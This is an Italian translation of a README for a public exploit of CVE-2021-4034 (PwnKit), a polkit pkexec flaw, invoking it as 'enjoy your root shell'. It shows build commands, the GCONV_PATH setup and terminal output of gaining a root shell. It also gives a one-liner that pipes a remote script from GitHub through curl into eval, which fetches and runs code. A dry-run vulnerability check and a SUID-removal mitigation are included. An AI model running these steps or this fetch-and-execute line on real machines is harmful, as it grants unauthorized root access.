
CVE-2021-4034 1day
Un giorno per l'exploit di escalation dei privilegi di polkit
Basta eseguire make, ./cve-2021-4034 e goditi la tua shell root.
L'advisory originale dei veri autori è qui
Se l'exploit funziona, otterrai una shell root immediatamente:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
L'aggiornamento di polkit sulla maggior parte dei sistemi correggerà l'exploit, quindi verrà mostrato l'usage e il programma terminerà:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Per non eseguire una shell ma solo testare se il sistema è vulnerabile, compila il target dry-run.
Se il programma termina stampando "root", significa che il tuo sistema è vulnerabile all'exploit.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Se il tuo sistema non è vulnerabile, stampa un errore e termina.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (in precedenza PolicyKit) è un componente per il controllo dei privilegi a livello di sistema nei sistemi operativi Unix-like. Fornisce un modo organizzato per i processi non privilegiati di comunicare con i processi privilegiati. È inoltre possibile utilizzare polkit per eseguire comandi con privilegi elevati usando il comando pkexec seguito dal comando che si intende eseguire (con permessi di root).
Puoi facilmente sfruttare il sistema usando un singolo script, scaricabile ed eseguibile con questo comando:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Se non sono disponibili patch per il tuo sistema operativo, puoi rimuovere il bit SUID da pkexec come mitigazione temporanea.
# chmod 0755 /usr/bin/pkexec
L'exploit fallirà quindi segnalando che pkexec deve avere il bit setuid abilitato.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root